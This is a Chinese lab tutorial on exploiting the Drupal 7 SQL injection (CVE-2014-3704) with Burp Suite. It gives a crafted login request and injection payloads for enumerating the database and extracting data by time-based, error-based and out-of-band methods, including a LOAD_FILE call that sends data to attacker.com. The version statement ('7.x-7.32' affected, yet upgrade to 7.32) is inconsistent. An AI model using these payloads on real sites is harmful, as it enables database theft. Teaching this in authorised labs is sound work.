渗透测试 | 对目标服务器所存在Drupal CMS漏洞进行漏洞利用
字数 1344 2025-09-04 23:22:12

Drupal CMS SQL注入漏洞利用教学文档

1. 漏洞概述

本实验针对Drupal CMS 7.x-7.32版本中存在的一个高危SQL注入漏洞。该漏洞位于数据库抽象API中的expandArguments函数,由于未正确构造prepared statement,攻击者可通过精心构造的key数组进行SQL注入攻击。

影响版本:Drupal core 7.x至7.32之前的版本

2. 实验环境准备

2.1 硬件环境

  • 服务器:Windows Server 2008 1台
  • 防火墙:1台
  • 攻击机:Windows 10 1台
  • 网络设备:交换机2台,路由器1台

2.2 软件工具

  • 火狐浏览器
  • Burp Suite Community版

2.3 目标网站

  • URL:http://202.1.10.34:8080

3. 实验步骤详解

3.1 配置代理环境

  1. 打开火狐浏览器,访问目标网站确认可正常连接
  2. 配置浏览器代理:
    • 点击右上角菜单图标 → 选择"选项"
    • 进入"常规" → 点击"网络设置"的"设置"按钮
    • 选择"手动配置代理"
    • 确保代理设置与Burp Suite监听端口一致(默认8080)
    • 点击"确定"保存设置

3.2 启动Burp Suite

  1. 双击桌面"BurpSuiteCommunity.exe"图标
  2. 启动时依次点击"Delete" → "Next" → "Start Burp"
  3. 确保Proxy模块处于活动状态

3.3 捕获登录请求

  1. 在目标网站上进行正常的登录操作
  2. Burp Suite将捕获到HTTP请求,示例如下:
POST /user/login HTTP/1.1
Host: 202.1.10.34:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

name=testuser&pass=testpass&form_id=user_login_form&op=Log+in

3.4 构造恶意请求

  1. 在Burp Suite中右键捕获到的请求,选择"Send to Repeater"
  2. 在Repeater模块中修改请求,添加恶意参数:
POST /user/login HTTP/1.1
Host: 202.1.10.34:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

name[0;SELECT+1+FROM+users+WHERE+uid=1;--]=testuser&name[0]=testuser2&pass=testpass&form_id=user_login_form&op=Log+in

3.5 漏洞利用技术详解

3.5.1 参数注入点

  • 利用Drupal的数组参数处理缺陷
  • 通过构造包含SQL语句的数组键名实现注入

3.5.2 常用注入payload示例

  1. 获取数据库版本:
name[0;SELECT+@@version;--]=testuser
  1. 获取当前数据库用户:
name[0;SELECT+current_user();--]=testuser
  1. 枚举数据库名称:
name[0;SELECT+schema_name+FROM+information_schema.schemata;--]=testuser
  1. 获取数据表信息:
name[0;SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema=database();--]=testuser
  1. 获取字段信息(以users表为例):
name[0;SELECT+column_name+FROM+information_schema.columns+WHERE+table_name='users';--]=testuser

3.6 数据提取技术

  1. 使用条件响应技术提取数据:
name[0;SELECT+IF(SUBSTRING(@@version,1,1)='5',sleep(5),0);--]=testuser
  1. 使用错误回显技术:
name[0;SELECT+extractvalue(rand(),concat(0x3a,@@version));--]=testuser
  1. 使用OOB(Out-of-Band)技术:
name[0;SELECT+LOAD_FILE(concat('\\\\',@@version,'.attacker.com\\share\\'));--]=testuser

4. 防御措施

4.1 临时解决方案

  1. 禁用用户注册功能
  2. 限制用户输入的特殊字符

4.2 根本解决方案

  1. 升级Drupal到7.32或更高版本
  2. 应用官方补丁

4.3 安全配置建议

  1. 使用最小权限原则配置数据库账户
  2. 启用WAF(Web应用防火墙)规则
  3. 定期进行安全审计和漏洞扫描

5. 法律与道德声明

  1. 本技术文档仅用于教育目的和安全研究
  2. 实际测试必须获得目标系统的明确授权
  3. 未经授权的测试行为可能违反《中华人民共和国网络安全法》
  4. 研究人员应对自己的行为负责

6. 扩展学习

  1. 研究Drupal其他历史漏洞(CVE-2018-7600等)
  2. 学习其他CMS系统的SQL注入技术
  3. 掌握自动化工具(sqlmap)的使用方法
  4. 深入学习防御性编程技术

7. 参考资料

  1. Drupal官方安全公告SA-CORE-2014-005
  2. OWASP SQL注入防护指南
  3. MITRE CVE-2014-3704
  4. Burp Suite官方文档
Drupal CMS SQL注入漏洞利用教学文档 1. 漏洞概述 本实验针对Drupal CMS 7.x-7.32版本中存在的一个高危SQL注入漏洞。该漏洞位于数据库抽象API中的 expandArguments 函数,由于未正确构造prepared statement,攻击者可通过精心构造的key数组进行SQL注入攻击。 影响版本 :Drupal core 7.x至7.32之前的版本 2. 实验环境准备 2.1 硬件环境 服务器:Windows Server 2008 1台 防火墙:1台 攻击机:Windows 10 1台 网络设备:交换机2台,路由器1台 2.2 软件工具 火狐浏览器 Burp Suite Community版 2.3 目标网站 URL:http://202.1.10.34:8080 3. 实验步骤详解 3.1 配置代理环境 打开火狐浏览器,访问目标网站确认可正常连接 配置浏览器代理: 点击右上角菜单图标 → 选择"选项" 进入"常规" → 点击"网络设置"的"设置"按钮 选择"手动配置代理" 确保代理设置与Burp Suite监听端口一致(默认8080) 点击"确定"保存设置 3.2 启动Burp Suite 双击桌面"BurpSuiteCommunity.exe"图标 启动时依次点击"Delete" → "Next" → "Start Burp" 确保Proxy模块处于活动状态 3.3 捕获登录请求 在目标网站上进行正常的登录操作 Burp Suite将捕获到HTTP请求,示例如下: 3.4 构造恶意请求 在Burp Suite中右键捕获到的请求,选择"Send to Repeater" 在Repeater模块中修改请求,添加恶意参数: 3.5 漏洞利用技术详解 3.5.1 参数注入点 利用Drupal的数组参数处理缺陷 通过构造包含SQL语句的数组键名实现注入 3.5.2 常用注入payload示例 获取数据库版本: 获取当前数据库用户: 枚举数据库名称: 获取数据表信息: 获取字段信息(以users表为例): 3.6 数据提取技术 使用条件响应技术提取数据: 使用错误回显技术: 使用OOB(Out-of-Band)技术: 4. 防御措施 4.1 临时解决方案 禁用用户注册功能 限制用户输入的特殊字符 4.2 根本解决方案 升级Drupal到7.32或更高版本 应用官方补丁 4.3 安全配置建议 使用最小权限原则配置数据库账户 启用WAF(Web应用防火墙)规则 定期进行安全审计和漏洞扫描 5. 法律与道德声明 本技术文档仅用于教育目的和安全研究 实际测试必须获得目标系统的明确授权 未经授权的测试行为可能违反《中华人民共和国网络安全法》 研究人员应对自己的行为负责 6. 扩展学习 研究Drupal其他历史漏洞(CVE-2018-7600等) 学习其他CMS系统的SQL注入技术 掌握自动化工具(sqlmap)的使用方法 深入学习防御性编程技术 7. 参考资料 Drupal官方安全公告SA-CORE-2014-005 OWASP SQL注入防护指南 MITRE CVE-2014-3704 Burp Suite官方文档